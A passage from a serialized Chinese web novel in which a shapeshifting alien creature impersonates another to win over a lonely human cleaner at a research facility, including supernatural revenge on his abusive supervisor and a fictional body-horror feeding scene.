这个人就像一只工蚁,甚至在人类社会中的地位还不如工蚁,成天庸庸碌碌,被高于他的个体指挥得团团转。他的工作不创造价值,可替代性极强,没有丝毫值得称道的地方;他没有自由,没有尊严,没有隐私……近乎一无是处。 唯一可赞扬的,就是他谨慎的作风,以及伪装能力。 别的人类无法分辨,时夜生却可以从他散发出的气息里准确无误地嗅出苦涩、疲惫、孤独与疼痛的味道,像烧过的榉木一样刺鼻。 人类掩饰着自己的憔悴,这些天来,他经常一个人躲在房间里偷偷地流眼泪。哭过以后,他的眼眶总是红得醒目,为了掩盖这不大正常的异状,他会拿毛巾沾湿冰水,给自己谨慎地敷上半个小时。 其实不会有人注意到他的,不管他的眼眶是红是黑 ,他是生病了还是健康着。人类渺小而卑微,他则是其中最渺小,最卑微的那一类。但他还是选择小心地遮掩着自己,不叫更大的破绽暴露出来。 时夜生几乎要表扬他了——仅仅是几乎。 它原本策划着一场天衣无缝的重逢,不过,它放弃了。人脑固然精密,人类却如此愚蠢,过分相信肉眼所见就是真实的世界,它又何必多此一举呢? 于是,时夜生模糊了自己的五官,用异化的口腕和触须代替了拟态的双腿,为了第一时间骗取对方的信任,它还特地变小了一半,捏造出损伤惨重的模样。 万事俱备,只欠东风。利用伪装在研究所内的身份与权限,它再次安排出一次意外,比如暗示人类的管理者,让他将人类留下训话,或者让人类多打扫一块僻静无人的区域,接下来,就是它登场的好时机了。 按照剧本,夜幕降临,四周万籁俱寂,只有人类孤零零地在黑暗中徘徊,不安地握紧手中工具。时夜生慢慢从阴影中沁出,犹如猫捉老鼠,不紧不慢地接近了目标。 人类惴惴不安。 他开始出汗,心跳加速,呼吸变重,肌肉和骨骼紧绷……他做好了随时逃跑的准备。 时夜生愉悦地发出了一点声音,它的腕足缓缓撕离地面,在空气中响出类似于掀开胶带的粘连声。 人类猛地跳了起来。 “谁?!”他用变了调的尖锐声音提问,手里紧紧攥着拖把杆,好像那是一根救命的稻草,“谁在那儿!” 空气中弥漫着恐惧的酸性气味,时夜生非常满意,它愉悦地注视着人类怕得要死的样子。 这才是它喜欢看到的景象,猎物就要有猎物的自觉,最好认清自己的…… 不等它细细品味,刹那间,人类似乎心有所感,他不偏不倚地一转头,目光与时夜生正正交接。 他的脸一下白得像纸,又一下涨红得惊人,仿佛被雷霆当头击中。他呆立在那儿,只有嘴唇不住颤抖,似乎想说什么话,却又完全丧失了把它们吐出去的力气。 他看上去委屈得快要哭了,眼睛却像被水洗过的星星,那么亮。 不知为何,面对这双眼睛,时夜生竟有一瞬的瑟缩之意。 “六号?”他发抖地喊,“六号……六号!” 一阵叮铃咣啷的坠响,人类已经扔掉了手里的工具,把那些琐碎的,碍事的,烦人的玩意儿全都抛到了旁边。时夜生还没来得及进入角色,充当一名合格的演员,人类已经不顾一切地朝它跑了过来。 他要干 什么?他要攻击我吗? 还是说,这只是一个诡计,一个障眼法,为了逃跑才不得已使出的险招? 思绪杂乱,在时夜生的脑海里纷然闪过。在它面前,人类张开双臂,紧紧地将它抱进怀里。 他不害怕,不退缩,只有灼热的泪水滴滴滚落,沉重地打在它身上。 ……咸的,它茫然地想。 而且很烫。 人类的力气那么大,抱得那么急迫,甚至叫时夜生体会到了喘不上气的窒息感。它的大脑一片空白,由此忘记推拒,更忘了反抗。 不知过了多久,人类终于放开它,转而捧着它的脸,就像捧着什么珍而重之的宝物。他掌心的热度源源不断,温暖地浸透了它的表皮,无法阻拦地朝更深处渗去。 “你怎么……他哭得不行,“你回来了!你回来了!我一直以为,我、你…… 人类满脸是泪,哭得说不上话。他语无伦次地重复着句子的碎片,好像这颠三倒四的表达方式可以让对方明白似的。 然而,时夜生居然真的领会了这些碎片的意思。 ——你终于回来了,我想你,我一直以为你出事了,看到你安然无恙,我真的很开心。 人类摩挲着它一片模糊的五官,这是不正常的,时夜生很清楚,因为正常人不会有半透明的皮,脸上也不应该空空荡荡,除了一张嘴以外什么都没有。但人类抚摸着它,如此热切,温柔和绵密……那差不多是 第 19 章 愚人一无所有(十九) 《我是人啊,你不是?》全本免费阅读 他们回到了那个简陋到可笑的临时巢穴,时夜生变成透明的,但它的一截口腕还被人类牢牢抓在手里,牵着往前走。 他一点都不怕,它想。 推开门的刹那,独占性的信息素犹如澎湃的大潮,从空气中扑面冲来。 它的同构体里里外外地标记了这个地方,唯独没有进行筑巢的动作。时夜生可以理解这一点,因为就它的所见所闻,人类居住的这间巢室比一枚扁叶大不了多少,而且压根没有隐私可言,谁都能随便地冲进来搜查一番。 “我们回来了……人类快活地叹息,他先是牢牢地关上了门,然后才转向它,“六号,你怎么啦?好安静啊。 时夜生依旧没有出声,为了骗取徐久的信任,它缩小了体型,但仍然可以俯视眼前这瘦弱的人类。它的视线忽然停住了,落在徐久胸口的工牌上。 “112—6,除此之外,再没有别的文字表述。 “6号……时夜生喃喃道,它困惑地说,“你,也是6号。 “是啊?徐久十分莫名,他盯着六号的脸,担心地上手拍拍,六号没有躲避,只是下意识地迅速偏头,仿佛被吓了一跳似的,“你来的那天我不就说过了吗?我没有文化,起不了什么好名字,所以,我把我的工号分给你,我是6号,你也是六号嘛。毕竟,这是我拥有的为数不多的东西了。 他还没有从失而复得的激动喜悦中平复下来,难免絮絮叨叨的,什么事都能掏出来对“六号倾诉。 原来是这样。 时夜生盯着工牌上的电镀铭文,先前感到的羞辱和愤怒,此刻已经退得剩不下什么了。 这个理由倒也情有可原,他本来就没什么可支配的财富,贫瘠得像只可怜的小动物,所以他只能把他的代号一分为二,送给他认为重要的人或事。 原来是这样。 时夜生无言地观察着他的一举一动,它看着人类脱去布满油渍和灰土的外壳,换上更柔软,但是破旧的遮蔽物,接着打水洗手洗脸,清理牙齿和口腔…… 它很不情愿地承认,它从人类的行为举止中获得了乐趣。人类哪里都小小的,当他转动着纤细的指头,使用那些玩具一样的杯子和刷子,对自己做着认真的清洁工作时,看上去实在像一个精密的游戏。他擦掉脸上泪痕和尘埃,刷牙漱口,理顺柔软的毛发,再转过来的时候,看起来就非常整洁清爽了。 接着,人类又一点不怕生,也不怕死地坐在时夜生身边,捧起它伪装成断开模样的口腕,轻柔而小心地 摸了摸。 “疼吗?”徐久皱着眉,语气怜惜,“这要多久才能长好呢?” 怎么才能消受得了这种怜惜?时夜生对此一窍不通。 它凝视着人类的脸孔,由于常年不见天日,徐久的皮肤是一种没有血色的冷白,大约这些天被六号喂养得十分惬意,倒是有了点肉,看上去不再跟以前一样营养不良了,但下巴还是尖尖的,仿佛稍微一用力就能捏碎。 感应到大水母强而有力的注视,徐久只当它也被吓着了,不过,它还活着就好,其他都不重要。 “睡觉吧?”徐久再摸摸它的脸颊,说不心疼是假的,六号这次回来,整个水母都小了一圈,也不知道吃多少东西才能补回来,“早点休息,好不好?” 时夜生一声不吭,看人类先拿出一个小盆让它喝水,于是,它喝空了半盆的水,又被人类拉到那张窄小的床铺上,毫无保留地紧紧抱住。 徐久睡着了。 他没有一点戒备的意思,或许是因为提心吊胆了许多天,现在终于放下心来了,此刻,他睡得又香又沉。 时夜生愣愣地瞧着他,不知过去多久,寂静中,它看到人类在梦中皱起眉头,肚皮里也发出一阵咕噜声。 饥饿。 时夜生知道这声音意味着什么,但它不知道要怎么办。一察觉到“人类正在挨饿”这个事实,它便浑身难耐,情不自禁地焦躁起来,冥冥中,似乎有种本能在催促它,要它立刻妥善地解决这个问题。 关我什么事!他又不是我的眷属,我的责任!内心里,它大声呵退这股迫切的冲动,但随着徐久在它怀里不安分地翻滚,叹气,悲伤地撇着嘴唇,脸上也露出可怜的小表情…… 我受够了。 时夜生冷漠地关闭了它的视觉,终止一切能感应到人类活动的器官,极度不舒服地窝在这张对它来说过于狭窄的床铺上面。 按照它原本的规划,它此时早就回到自己的巢穴,正对着那个该死的碎块,从身躯到精神地砸烂它、毁灭它。在回归本源,为自己吸收之前,六号须得经受一番深重折磨,它才能心满意足地宣布自己赢了这场仗。 ……而不是像现在这样,充当人类的枕头和床垫,被他抱来抱去,摸来摸去,亲……亲来亲去的! 我要杀了他。 时夜生的内核震动不休,它将这个指令在发声口器中来回咀嚼,像利刃和尖刀一样转着圈地摆弄,仿佛只要不停地思索着这个念头,它就能达成它想要的目标。 我必须要杀了他。 但它没有动,一点儿也没有。 临近清晨,徐久快要醒来的时候,他毫无睡相地翻了个身,摊着手,把半张脸埋在在水母柔软的状表皮里,嘟哝着含糊的梦话。时夜生由此低下头,张开视觉器官,在他的手腕上发现了一道十分蹊跷的伤疤。 它奇怪地抬起人类的手腕,凝视那块硬币大小,棕褐色,微微凹陷的疤痕。 这看起来像是被化学试剂烧伤过后留下的印记,不过,时夜生很清楚它是什么造成的,它还能从上面嗅到一丝残余的消化液的气味。 通常来说,沾上自己的体 液,却还没有被腐蚀干净的生命体,都会被标记为脱逃的猎物,它一定会将狙杀对方作为需要优先处理的事项。可它第一次见到徐久时,就觉得面前的人类闻起来很奇怪。 那不是猎物的气味,但比猎物更加复杂诱人;不是同类的气味,却比同类更显得温软亲密……在漫长的一生里,它从未遇到过如此怪异的事。 现在,时夜生凑近了这块伤疤,来回仔细地嗅闻,试图从上面找出反常的原因。它这么一折腾,徐久睡得迷迷糊糊,半梦半醒地就在它脑袋上拍了两下。 “干什么?”他含糊地说,“不许再乱舔了……知道不?” 时夜生:“?” 谁舔了? 时夜生很想翻白眼,但转念一想,模仿如此人性化的举止也没什么必要,它只能忍气吞声地承受了这个针对它的污蔑……但再转念一想,它到底为什么要忍气吞声,为什么非要陪人类在这儿玩游戏啊! 徐久再眯了片刻,镶在墙上的闹钟准时响起,刺耳得能叫人瞬间心脏病发作,时夜生刚想一触手抽碎这个玩意儿,徐久便预判了它的动作,无比精准地往前一扑,压住了它蠢蠢欲动的口腕。 时夜生十分吃惊,徐久眼睛都还没睁开,就熟练地开始咕哝:“乖,不能打碎哈,这个打碎了我可得往死里赔的……” ……谁乖了?! 时夜生更加火大,可又不得不忍着——哪怕它也搞不清楚自己为什么要忍着——把人类抱下床,看他洗漱整理。冷水泼在脸上的时候,徐久才稍微清醒了些。 “对了,”他转过头,认真地说,“最近很奇怪,好像各个食堂的伙食全在削减份额,底下的人都在传,这是要进入战备阶段了,一个多月以前,我就听人说极地站进入封锁状态。他们是不是要对付你们了?” 时夜生当然知道发生了什么,人类高层早就对它的习性与特质有所了解,阿克尔项目高效运行了几个月,他们也 早就应该清楚,自己究竟是多么难缠的怪物。 可惜啊,傲慢和自以为掌控了全局的狂妄害了人类。 “为了避免恐慌,”时夜生说,尽量贴合六号并不流利的口语,“人类,不敢走漏消息,会引发骚动。” 徐久停下手里的动作,若有所思地看了它一眼。 然后,他只是点了点头,就一直没有出声,像在思索着什么。这不寻常的沉默,最后让时夜生也感到浑身不自在,它变成透明的状态,尾随着人类走出房门。在徐久拿到用具,抵达工作地点,开始干活之后,它终于忍不住,伏在人类耳边问:“为什么,不说话?” 徐久被它吓得肩膀微微一颤,无奈地小声道:“怎么又跟过来了?” 时夜生观察着他的侧脸,他发现自己是假扮的了吗? 徐久轻声说:“没什么,我就是……在想一些事情。我没事的。” “哦。” 时夜生在他身边盘旋了一会儿,替他有意无意地撞开其他挨得太近的人类,又冷不丁地问:“为什么,不吃饭?” 徐久叹气,借着偏头擦汗的动作,哭笑不得地小声回答:“你有没有听我刚才的话啊,食堂从前天开始缩减了伙食份额……以后可能都没有早餐了。” “哦。” 他们聊天的功夫,主管姗姗来迟。 得益于研究所的医疗水平,再重的伤,躺上两天也好了,很快,他又耀武扬威地回到了这里,逡巡着他的领地。此时此刻,他手里抓着一根用油纸包好的,香气四溢的辣热狗,面包里隐约可见牛肉肠、酸黄瓜、洋葱碎和嫩黄的芥末酱,空气中弥漫着诱人的食物味道,让人腮帮子发酸。 在大多数人都饥肠辘辘的清晨,主管满面油光至此,得意得叫人心生怨憎。 “看什么看!”他舒舒服服地坐在椅子上,一边大吃大嚼,一边口齿不清地叫喊,“一群死猪,很羡慕吗?实在羡慕,可以过来把地上的渣子嗦干净!” 所有人都敢怒不敢言,主管目光一转,又在埋头干活的人群里望见徐久,遂拖长了声音吆喝:“哎,那不是6号吗?来来来,早就听说你比猪还能吃了,传出去不要讲我亏待你,来,地上这些渣子全留给你,怎么样啊?” 他把那天发生的事故全部归咎于徐久。在主管心里,倘若6号没有笑,他就不用气冲冲地过去揍人,他不气冲冲地过去揍人,肯定就不会摔得那么惨,更遑论被一群低级员工公报私仇。 徐久抿着嘴唇,深深呼吸,他隐忍地垂下眼睫,但水母 的身体稍微一动,他立刻就有所察觉。 他急忙按住一根触须,嘴唇蠕动,挤出一个字:“别…… 别在大庭广众之下动手,他们已经起过疑心了。 时夜生按住他的肩膀,在他耳边低语:“没关系,不在这里杀他。 说话时,它口中的触角若即若离地勾着徐久的耳朵,就像十几根粘稠的蛇信,挨个打着卷地滑过他的耳垂。 徐久的手一哆嗦,时夜生已经翩然升起,假使它不是透明的形态,那么它此刻必定犹如一朵绮丽梦幻的流云,缥缈地朝目标笼罩而去。 你敢这样跟他说话。 时夜生凝视着下方臃肿肥胖的人类个体。 我假设人类的勇气当真是无穷无尽的——你竟敢这样跟他说话。 不,它没有生气,没有愤怒,恰恰相反,它的情绪异常冷静,只有一捧晦暗阴沉的火焰,幽幽地在胸口处燃烧。 是的,这个人类愚蠢,迟钝,天真,没有价值,穷苦可怜,他对死亡疏忽大意,毫不畏惧,以至于连我都觉得不可思议,但不管怎么说,他仍然是我标记的猎物。 而你,居然当着我的面侮辱他,甚至命令他舔你脚下的食物残渣…… 你很喜欢当众显摆你丰盛的饮食,是吗? 时夜生抬起一根色泽深邃的纤细触须,这时,触须的顶端正滴落着莹莹的蓝光。 它温柔且精确地将触须垂落在辣热狗上方,好像一名炫技的书法大师,在那些西红柿、芹盐和芥末酱里,留下了一道细如蛛丝的发亮痕迹。 那就好好享受,祝你用餐愉快。 做完这件事,它便原路返回,重新降落到徐久的肩头。 “别怕,它开裂的口唇涌出无数细小的透明触手,缠粘着徐久的耳骨,将浓稠的声音推进人的耳道深处,“他不会再困扰你了。 徐久不明白它在说什么,但不知是不是他的错觉,自打六号回来之后,就表现得十分不对劲,好像换了个人……换了个水母似的。 他很快平静下来,不再生气,而是忧心忡忡地偷瞄着主管的情况。他不懂六号用了什么手段惩治对方,他只希望主管不要在光天化日之下突发暴毙,又引发新一轮的骚乱才好。 主管继续无所顾忌地大口吞咽辣热狗,芥末酱和挤出的肉汁顺着嘴角往下流,辛辣的香气与咀嚼的动静,引得这些早上没有饭吃的清洁工暗暗叫苦,肠胃缩得直疼。但很快,主管的脸色突然一变。 徐久一直注意着他,此刻看着不远处的胖子 攥着小半个辣热狗额上以肉眼可见的速度沁出汗珠脸庞也变得发蓝、发青心里就叫不妙 好在他还有力气行动主管站起来顾不得说话跌跌撞撞地就往门外跑。 等他狂奔出门其他人嗡地议论开了。 “咋回事?” “不知道吃坏肚子了?” “真好笑吃死他最好……” 主管冲进走廊像没头苍蝇一样找着卫生间他的腹部翻江倒海但却不像吃错了东西更加凶猛的剧烈的痛楚像烈火一样煮沸了他的肠胃令他想要呕吐又怕自己吐出来的不是食物。 按照记忆他抱着肚子闯到走廊尽头的房间这里是主管级人员专用的盥洗室里面十分静谧光洁的大理石地砖亮得可以照出人影。主管把自己摔进其中的一个隔间他颤抖着张大嘴喉间咯咯作响从胃里返上来的酸液一波又一波地冲刷他的食道烧得他想尖叫只是叫不出声音。 他满脸是汗浑身湿透面皮涨得紫红眼白鼓胀着翻出眼眶。他用粗短的手指抠着自己的咽喉拼命想把刚才吃的昨天吃的从出生到现在吃的所有东西都吐出去当手指抽出来的时候他的指尖都被胃酸蚀掉了厚厚一层皮不住往外渗血。 他终于开始吐了。 起先他吐出黄黄绿绿的水吐出一些没能消化的植物纤维和牛肉丝;接着他吐出一些流体的脂肪油一堆混合着血丝的怪异粘膜;最后他吐出黄红相间的棉絮状血浆稠如燕麦粥的粘液块它们从他嘴里倾泻而下软滑强韧仿佛某种寄生生物的卵。 主管的胸前和裤子上溅满秽物他在地上昏了起码两个小时才稍微恢复意识蜷缩成痛苦的虾子形状。 我完了他浑浑噩噩地想我被不知名的病毒感染了我死定了。 “……就是从这里面传出来的……” 门外响起隐隐约约的报告声。 “各个小队原地待命不要轻举妄动!一队和三队先跟我进去小心行事!” 听见声音主管如同行尸走肉勉强从地上爬起来。 他颤颤巍巍地站稳一推开隔间门就看到对面的墙上挂着面镜子里面清晰地映出一个可怖的人形——镜子里的人脸上遍布着蚯蚓一般凸起的紫蓝色血管这几乎将他的脸和脖子都染成了腐败的颜色他的眼下耷拉着松垮的巨大眼袋眼白犹如一整块发黑的瘀血瞳孔则怪异地肿胀起来像顶着两枚晶亮的水泡。 盥洗室的门悍然爆破,尘烟四散,震耳欲聋的巨响中,他转过头,从堵塞的喉咙里拼凑出哀求的音节:“求……” ——求求你们救救我。 他刚说了一个字,迎面而来的麻醉霰弹就轰鸣着正面击中他,大口径枪械的凶猛推进力,使沉重的身躯也被打得凌空跃起,像是他原地起跳了一下。 发紫的鲜血尽情喷涂,主管轰然倒地。 “目标已经达到捕获标准,重复一遍,目标已经达到捕获标准,”带队的警卫汇报道,他穿着全套防护服,语气中带着一点如释重负的轻松,“立刻申请收押,完毕。” 在他 第 20 章 愚人一无所有(二十) 《我是人啊,你不是?》全本免费阅读 徐久没法说话,实际上他也说不出来话。 眼泪混合着唾液沾湿了胸口的布料,他小幅度地抽搐了好一会儿 刚刚发生了什么? ……我在做梦吗? 我是在做梦吗?! 时夜生却十分满意尽管它也不知道这种情绪从何而来,又是因何而起。 它只知道在深深侵入人类的身体,埋入他软嫩的咽喉将大量能量流质灌注进去的那一刻,它的大脑也在战栗。酥麻的电流仿佛波纹曲折地传遍全身传导至每一个神经元——它被一种纯粹的幸福感以及以前从未经历过的满足感征服了。 人类,它在心里轻声哼唱着,人类……奇怪又奇妙的人类。 “你……”徐久总算恢复了语言能力只是声音还十分模糊,“你到底在干什么……” “人类吸收能量的方式太落后”时夜生先是流畅地说完一句话而后察觉失误急忙纠正“用我的方式,缓解饥饿,更高效。” 徐久此刻两眼昏花,完全没察觉到这个破绽,气急败坏地大喊:“那你也不应该这么做!” 他的声音在寂静夜色中嘹亮地回荡,不多时隔壁传来沉沉的拍墙警告声徐久才迟钝地反应过来赶紧压低声音:“那你也不应该这么做不应该不应该……” 不应该什么呢? 不应该把我压在床上?不应该把你嘴里的管子强行插到我胃里?不应该用这种方式喂我?还是说三者都有? 此刻他的脑袋是混沌的一团浆糊舌头也打着结。时夜生看他脸颊涨得通红眼睛里还含着一汪水一副要哭不哭的样子胸口就砰砰鼓噪好像被什么东西狠狠撞了几下。 可爱它心中模糊地升起这个念头这个词真是贴切极了……可爱。 “可是方便”它心痒难耐牛头不对马嘴地辩解“比吃饭更快还可以贴着你嗯这很好。” 人类又小又软能够完美地合进自己的身体而且他吃得少不占地方身上又香香的…… 想到这里时夜生便忽然感到遗憾。 它的同构体在此领受了多少快乐!时夜生越是思索就越是觉得人类优点卓绝是一万个里头也挑不出来的稀罕宝贝。 六号的运气倒是比自己要好得多它偷偷地认领了一个最特殊的人类又与他建立起亲密的联结关系。如此一来比起那些还在建筑物里无声潜伏满脑子只想着狩猎和 进食的碎块六号无疑是更加高级的。 一开始它还满脑子都是“如何杀了人类”的想法眼下他亲自将那些念头抛到九霄云外唯一保留的只有“必须得想个办法把人类搞到手”。 但不知道为什么人类听到它的话好像气得更加厉害开始咬着牙齿使劲对它进行一番拳打脚踢。 人类的力气连挠痒痒都算不上时夜生一边盯着他出神一边纵容地让他发泄怒气。 徐久抓狂地暴揍水母长达十多分钟然后把自己累得精疲力竭又瘫在水母身上粗喘如牛眼皮沉重到抬不起来连话都没来得及再说两句就昏睡过去了。 次日徐久懵懵地醒过来还觉得自己昨天晚上是做梦可是饱足的肚皮全身上下洋溢的充沛活力以及还残留着被异物入侵的感觉的喉咙无不向他揭示着残酷的事实……昨晚发生的事是真的! 他黑着脸起床黑着脸洗漱黑着脸换衣服。他做事的时候水母就安静地飘在他身后显出乖巧且谦卑的样子等到他准备黑着脸出门并且不打算给水母额头吻的时候水母终于拽住他。 “干嘛?”徐久没好气地问。 水母对着他伸出一根口腕 它也不知道自己为什么要这么做可潜意识告诉它不这么做就会损失很多好处。 “今天没有亲!”徐久呵斥道“等你什么时候反省错误什么时候再给亲!” 他从来没有用这么凶的语气和六号说过话眼看着水母惶恐地一颤徐久立刻就有些后悔。 其实仔细想想水母又懂什么呢?它们本来就是不通情理的野兽和人类没有一丁点儿相似之处。六号昨天晚上的行为固然出格可自己又怎么好拿人的道德准则去要求它? 人类的表情那么生动显得眼睛也亮亮的……真好看啊! 时夜生被刺激得口腕澎湃鼓起差点猛地朝人类扑过去。这时候它听见人类轻轻地叹了口气然后拽着它的口腕在它的额头上亲了亲。 “下不为例”徐久闷闷地说“不许再那样对我!知道了吗?” 不等时夜生回答他就转身朝门外走去像是在逃避什么。 人类的嘴唇柔嫩温热啵啵两下直亲得时夜生的酥麻发软表皮都荡漾起波纹来了哪还听得到他在说什么?因此只有嘴上诚心认错心里死不悔改。 今天的工作任务很重徐久被安排去清洗实验器材。 又要穿上厚重的防护服不说 ,试管和蒸馏瓶上全糊着焦油一样漆黑的玩意儿,强力的清洗试剂根本没什么用。他浸泡了三趟,洗得额头直冒汗珠,上面还是腻着一层油乎乎的膜。 不是人干的活啊,他叹口气。 徐久倒没觉得有多累,得益于昨天晚上被强灌的经历,他目前还体力充沛,精神也饱满。其他人可没这么好运,全累得气喘吁吁,哈出的白雾与水珠将面罩染得蒙蒙一片,又不好擦,只能就这么忍着,站得腰酸背痛,洗得手臂僵直。 正在他发愁的时候,水母偷偷地挨近他耳边,用只有他能听见的音量悄悄怂恿:“我帮你。” 徐久无奈道:“唉,这个不行的。” 六号的力气大得吓人,脆弱的玻璃器皿,徐久还真不敢让它上手,只怕它轻轻一碰,这些奇形怪状的小玩意儿就得碎成齑粉。 然而水母并不放弃,防护服从头穿到脚,是无缝的一整套,也不知它找到了哪里的缝隙,居然把触手伸了进来,不屈不挠地拨弄着徐久的耳垂。 “我帮你。”它执着地说。 “都说了这个不行……”痒痒的,徐久忍不住抬起肩膀,试图把耳朵边上捣乱的小触手赶走,“这些东西禁不起你的力道,你一下就碰坏了,到时候我还要赔……” “不会的,”水母坚持,“你看。” 手里的试管刷突然变重了。 徐久低头一看,他讶异地发现,手里的工具正如同活物一般,渗出半透明的胶状粘质,有如坚韧的软体,缓缓流淌到刷子的尖端,将其包裹成一块儿。 很快,他手里 第 21 章 愚人一无所有(二十一) 《我是人啊,你不是?》全本免费阅读 时夜生忍住了。 它用全部的精神,全部的毅力来忍耐这种比饥饿和疫病更可怕的激情。就在人类完成上午的工作进度准备休息进食的时候,时夜生忽然嗅到了一丝不寻常的气味。 那味道与它出自同源只是更加衰弱,这意味着另一个同构体就在不远处游荡。 其实这是件奇怪的事作为十分强大的个体,时夜生既然可以力压六号自然对其他残躯有着更直接的统治能力。一般来说,那些弱小的碎块是不太敢靠近它的因为这不仅会触怒强大个体的领地意识,更会激起它极端的杀欲和食欲。 但时夜生管不了那么多了它再不转移注意力找到一件可以发泄冲动的事它迟早要在人类面前彻底爆发、崩溃。 于是它匆匆对徐久说:“有异常,我去处理。” 徐久连忙问:“什么异常?” 时夜生发狠地闭死了嗉囊的瓣膜,同时将溢流全身的毒液关在绞合的触须后面它必须要竭尽全力,才能让自己看上去若无其事十分平静。 “一个碎块”它嘶哑地说“正在附近徘徊。我去处理。” 说完这句话 这是危险的警告,更是充满占有欲的粘腻标记,确保在它离开后,不会有危险的掠食者敢于冒然接近属于它的人类。 徐久大吃一惊,他担心六号还像上次那样出事但食堂人多眼杂他也不好一直做出自言自语的样子。他赶紧拿起餐盘打算往人少的地方跑跟六号把话交待清楚耳边就响起一阵风声。 它离开了。 徐久:“哎……!” 他抿着嘴吃饭的心情都没了加上此刻还不算太饿徐久在原地呆站着闷闷地用叉子戳碗里的咸味肉糜。 真是越大越不听话! “你是谁?” 就在徐久忧心忡忡地捏着肩膀上那根垂下的触角时上方却骤然响起一个声音把他吓了一跳。 他转身一看看到个高大的男人尖鼻深目端着餐盘和徐久一样穿着清洁工的制服此刻带着不加掩饰的好奇直勾勾地盯着他瞧。 徐久视线下移看到对方的工牌上标着“246—74”。他知道这人是另一个区的74号清洁工只是另一个区的人干嘛来这里吃午饭呢? 徐久挂念六号心里烦躁又不想理会这么突兀的搭讪因此随便指了指胸前的工牌示意对方看过就赶紧走。 “你是 谁?”不料74号完全忽略了他的暗示继续不依不饶地追问“名字。” ……烦不烦这跟你有什么关系啊? 徐久皱眉的时候对方又往前凑近了一些。 他的姿态十分奇特双脚一动不动仿佛钉在地上只有上半身前倾脖子怪异地伸长着鼻尖差点挨到了徐久的侧脸。 “名字。” 徐久急忙向后避让本想喷他两句又觉得对方的精神状态实在堪忧过去也不是没有这种干活干到失心疯的老兄遂忍下一口气低声说:“和你无关。” 说完他就准备离开 还是隔着不远不近的距离还是那副前倾的姿势连表情都没有变化男人脸上仍然挂着死板如面具的淡淡微笑眼神专注得令人发怵。 缠在肩头的口腕开始躁动地扭摆徐久的心脏漏跳了一拍他意识到了什么。 ——在74号浅棕色的虹膜下方分明沁着一抹幽幽的浅蓝。 他面色苍白慢慢地后退一步用力攥紧了环绕在肩头的触角在心里狂喊六号的名字。 快回来咱们中了调虎离山之计了! 不远处低级员工的食堂熙熙攘攘人们一边吃饭一边或大声或小声地交谈根本没人注意到角落里发生的事。 男人抬起一只手缓缓朝徐久伸过去摸到半途又停滞在空中似乎是颇为忌惮的样子。徐久睁大眼睛瞧着他也不太敢拔腿就跑害怕勾引出面前这东西的凶性。 男人笑了他的神情更加灿烂他收回了手掌转而将自己盘子里的员工餐一股脑地倒进了徐久端着的盘子里动作之快像极了迫不及待的殷切的讨好。 “喜欢吗?”他问“给你都给你。” 见他好歹还不敢接触自己徐久在松口气之余免不了一头雾水搞不清楚这是什么意思。 “名字?”男人适时追问语气中竟带上了一点恳求的意味他拱起浓密的眉毛给自己的眼神增添了十分的可怜“你的。” 徐久有些受不了这样的注视他不安地再往后退一步压低声音道:“你不认识我我也不认识你我没有必要告诉你我的名字。你的……我也不需要你的午餐。” 想了下他仓促地把自己的餐盘叠在对方的空盘上补充道:“你还是快走吧!” 在他说出“我不需要你的午餐”的时候74号肉眼可见地消沉了 下去,他又往前一步,凑得更近,直截了当地说:“我认识你,我知道你。 除了六号和那天晚上遇到的“时夜生,徐久还是首次和其他拥有智慧的水母交流,强烈的好奇心敦促着他,令他脱口而出:“你怎么可能知道我? “我知道,74号的表情立刻由阴转晴,又笑了起来,他看起来很高兴能引起徐久的关注,“我们都知道。 我们? 徐久更加困惑,他心里清楚,与异种交谈是件凶险的事,可对方表现得有问必答,导致这种危险又无法自拔地吸引着他,令他忍不住想从对方身上挖掘出更多的秘密与答案。如同火边飞舞的蛾子,不被烈焰焚身,就不明白那是足以致命的温暖。 见徐久的注意力完全落在了自己身上,74号越发眉开眼笑。他还想说些什么来逗逗人类,鼻尖稍微一抽,已然嗅到空气中逐渐弥漫起奇异的幽香。 他的笑容飞快地消失了,不悦的阴鸷笼罩在他的眉宇间。男人面无表情地直起身体,低头注视徐久。 “它来了。他说,“我们,还会再见。 不等徐久说什么,他又张开嘴,用几乎是含情脉脉的语气,虔诚地说:“你的礼物,我珍惜。 语毕,他便端着两个餐盘,以惊人的速度隐没在人群中。 徐久:“? 不是,大哥,谁送你礼物了?!你回来,把话说清楚,我没送你礼物! 他瞠目结舌,空气中的幽香越发浓郁,六号在他身后浮现出来,犹如某种凄厉的恶鬼,声音怨毒,语气咬牙切齿。 “我被引开了!大水母怒气冲冲,嘶嘶地咆哮,“它们来过吗? ——那些低能的碎块,居然能够克服自相残杀的本性,联起手来合作对抗它! 时夜生蹿出去之后,眼睁睁看着那个小一些的碎块灵敏地钻进错综复杂的通风管道口,显然是打算把它引向更深,更远的地方。它被杀戮的欲望所控制,追逐了一阵,直觉不太对劲。 果不其然,等它折返回来,另一个碎块已经接近到人类身边,正探头探脑地窥伺。 时夜生简直要气得发疯,发狂了。 它深知自己那些同构体的德行,了解它们全是一群脑干缺失,成天到晚只想着进食的蠢货。它们不会明白人类的价值,了解他到底是多么珍贵的生命。它们看到他,只能看到一堆行走的鲜肉,并为之垂涎欲滴。 “它对你说了什么? 徐久担心它再激动下去会不可避免地惹起骚乱所幸中午还有一个小时的休息时间他赶紧带着水母先回房间。 “我没事!”回到宿舍徐久立刻解释“他……它没拿我怎么样它还 第 22 章 愚人一无所有(二十二) 《我是人啊,你不是?》全本免费阅读 生平第一次,时夜生从人类身上体会到了什么是“呆滞”。 六号在不知情的状况下疯狂求偶,它又何尝不是? ——解决掉欺压徐久的上级,是为了在徐久面前显示自己的谋略与智慧;用口饲的方式给徐久喂食,既是无法忍受“他在挨饿”这个事实,也是为了满足自身的贪欲,好让人类的肚腹胀满属于它的东西;而清洗瓶瓶罐罐时的把戏,则是小小的炫耀,以此佐证它愿意满足徐久一切的需求,不管那是什么样的需求。 伴侣。 时夜生呆呆地盯着徐久。 我的……伴侣。 徐久被它异样的安静搞得毛毛的,忍不住伸出手,在它脸颊的位置上抚摸。 “怎么啦?”他问,“咱们是不是又有麻烦了?” 时夜生下意识地顺着他温暖的掌心蹭了蹭,发出低沉的呼噜声。它学着人类的样子摇头:“不,算不上麻烦。” 徐久看着他,眉心微不可察地皱了一下。 他仔细地端详着时夜生,轻声道:“你说话更流畅了。” 时夜生与他漆黑的眼瞳对视。 徐久仰起脸看它的时候,目光中带着探究的茫然,就像独自行走在丛林中的旅人,可以隐约地预知到危险,却又不明白那危险究竟从何而来。 ——透过我的皮相,他真正注视的是谁呢? 